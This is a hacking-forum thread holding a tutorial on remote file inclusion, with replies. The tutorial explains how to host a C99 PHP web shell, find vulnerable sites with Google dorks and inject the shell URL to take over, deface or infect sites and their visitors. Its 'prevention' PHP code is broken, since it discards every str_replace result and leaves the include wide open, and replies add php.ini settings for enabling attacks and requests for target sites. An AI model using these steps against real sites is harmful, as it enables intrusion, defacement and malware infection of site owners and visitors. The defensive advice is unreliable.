[1234hotmaster]

Hello in this mini-tutorial im going to show you how to use PHP shells such as c99 or other shells to hack/recover your website admin account or deface it so its for educational purposes ONLY.

ok lets start.

Step 1 - Grab yourself a C99 shell from [link=http://www.r57.gen.tr]Here[/link].

Step 2 - You need to find a free webhost to host it without deleting your account. i prefer www.7host.com since they don't check your accounts

Step 3 - Register on a free hosting site and upload the C99.php ofc if your a PHP programmer i suggest you password protect that using [link=http://www.hackcommunity.com/Thread-PHP-Secure-page-password-protection]This Script[/link].

Step 4 - Dorks to type in Google are:

Code:

inurl:.php?link= allinurl:.php?link= inurl:.php?redirect= allinurl:.php?redirect= inurl:.php?page= allinurl:.php?page= inurl:.php?webpage= allinurl:.php?webpage= inurl:.php?link=http:// allinurl:.php?link=http:// inurl:.php?redirect=http:// allinurl:.php?redirect=http:// inurl:.php?page=http:// allinurl:.php?page=http:// inurl:.php?webpage=http:// allinurl:.php?webpage=http:// inurl:.php?include=http:// allinurl:.php?include=http://

also some pages with certain variables can be vuln too but these are the most common. such can be like inurl:?buy=car.php

Step 5 - For seeing if a site is vulnerable you can try this:

Imagine a link is:

Code:

http://yoursite.com/?link=http://yoursite.com/web.php

for testing you do:

Code:

http://yoursite.com/?link=http://google.com/index.php

if Google's index page also loads in that page then its vulnerable

Step 6 - If you find a vulnerable site hat you need to do is replace that link with the C99 shell link you uploaded on your free webhost:

Code:

http://yoursite.com/?link=http://you.somefreehost.com/c99.php

and wham! the C99 page is also loaded! you can now:

• Upload Files
  
• Delete Files
  
• Move Files
  
• Copy Files
  
• DOS the site
  
• Deface it
  
• Bruteforce FTP password
  
• Lag it
  
• Redirect visitors
  
• Install Drive-By's
  
• Grab Visitor Information and test exploitation on them
  
• Infect Visitors ( RAT - Keylogger - Stealer )
  
• Execute SQL commands
  
• Manage SQL accounts
  
• Execute PHP commands
  
• ...
  

End of Guide


If this page is somehow copied ( it will be ) it was written by 1234hotmaster at www.hackcommunity.com
Also To those a**holes in HF which copied my XSS tutorial and claimed that they write'ed every bit of it and didn't even credit me or HC a single bit, Get a life. stop copy pasting thanks


ok Now how to prevent RFI on your website or server?

RFI is caused by this:

PHP Code:

<?php $inc = $_GET['link']; include($inc); ?>

To prevent that we replace strings on the include link:

PHP Code:

<?php $inc = $_GET['link']; str_replace("http://", "", $inc); str_replace("https://", "", $inc); str_replace("www.", "", $inc); str_replace(".php", "", $inc); str_replace(".html", "", $inc); str_replace(".", "", $inc); str_replace("/", "", $inc); str_replace("&", "", $inc); str_replace("'", "", $inc); str_replace(">", "", $inc); str_replace(".com", "", $inc); str_replace(".net", "", $inc); str_replace(".org", "", $inc); str_replace(".info", "", $inc); str_replace("etc", "", $inc); str_replace("passwd", "", $inc); str_replace("..", "", $inc); str_replace("...", "", $inc); include($inc); ?>

This way not only the include page wont be vuln to RFI but also protected from many more hacking methods

Sorry if the guide is missing anything feel free to mention and i will explain more about it. Questions are welcomed

[KaiT_AleX]

There is a little RFI vuln sites today.. But you can still find someone.. There still are some young stoupid coders.. Great tutorial !

[bspro]

Lol nice
Tut by u thanks

[5cr1pt_k1d]

THANKS, This will help me learning more about RFI.

[awesome]

RFI doesn't exist any more , cause of the php5's update .

[5cr1pt_k1d]

Before uploading a php make sure have this php.ini

the settings for RFI is this.


safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )


The webhost not allow this

allow_url_fopen = on ( for lfi/rfi ) but its OFF

allow_url_include= on ( for lfi/rfi ) but its OFF

display_errors = on ( we want to see the script errors,maybe some undeclared variables? ) but its OFF

register_globals = on ( we can set variables by request ) but its OFF

magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that ) but its OFF.

I would say the webhosting will not check users accounts becouse of this settings.

[5cr1pt_k1d]

Before uploading a php make sure have this php.ini

the settings for RFI is this.


safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )


The webhost not allow this

allow_url_fopen = on ( for lfi/rfi ) but its OFF

allow_url_include= on ( for lfi/rfi ) but its OFF

display_errors = on ( we want to see the script errors,maybe some undeclared variables? ) but its OFF

register_globals = on ( we can set variables by request ) but its OFF

magic_quotes_gpc = off ( this will escape ‘ ” and NUL’s with a backslash and we don’t want that ) but its OFF.

I would say the webhosting will not check users accounts becouse of this settings.

[The Alchemist]

Thanx a lot.. This has helped me to learn RFI... Could you give us some RFI vulnerable sites??

[TheSkillfularrow]

i am sorry for asking such question but i dont find any vulnerable website.

[HrDe]

Your HQ post always shocked me, thanks a lot for g88t share.